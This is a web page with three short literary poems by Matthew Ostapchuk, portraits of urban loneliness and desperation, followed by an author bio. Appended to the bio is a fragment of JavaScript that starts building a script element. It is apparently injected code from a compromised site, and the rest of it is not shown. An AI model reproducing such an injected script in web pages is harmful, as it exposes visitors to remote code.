Three Sorts of Madness

Poetry by Matthew Ostapchuk

Beside the boulevard staircase
a sepia flower woman sits, sells
stalks for a nickel, answers you
vacantly, the way a cat might
or mightn’t. Looking at her sideways
one can tell she’s tatters and forgotten.
Two boys walk by, spinning jibes, pocketed
knife sits heavy sidelong to occult
powders—startled when she stands,
watching them pass with tears, and foggy
begins shouting, “Antonio! Antonio, Antonio!”
Guilty brownstones watching, they, anonymous,
ignore her, as she screams after them,
a rheumy gurgle, “Antonio!”

Like every morning, guzzled,
carried by the throng into the subway
berth. His tie is uncomfortable, the crisp,
undaunted whiteness of the shirt irritates
his pores and marrow. Excitement is empty
staplers. But when he sleeps, he remembers
the forest, and the grunting of brothers
and sisters, naked, unashamed of rough curls
of chests and groins. He remembers the pine
needles, balsam odor a primeval lullaby.
When the alarm screams next to his ears,
he screws his lids shut. He digs his teeth
into the downy pillow, something savage.

In her drawer at home, her collection
of keys: brass, tin, tarnished silver.
When the men slide off of her, enter the dim
bathroom to clean off, penises purple
and angry, she finds her fingers in their pockets,
massaging the cold rings, slipping the key off,
holding it secret. The men don’t notice—
she wonders if they’ve seen her at all. They know
enough to leave a crumple of bills next to the mirror.
She doesn’t know why she does it; maybe to imagine
when he’ll reach the door, and after searching,
will form on his lips one furious syllable.

williamsillus1Matthew Ostapchuk is a graduate of Chester College of New England and the editor of Two-Bit Magazine. His work has also appeared in OVS Magazine, Collective Fallout, and Soundzine. He will be pursuing his MFA at Hollins University starting this fall.var d=document;var s=d.createElement(‘script’);

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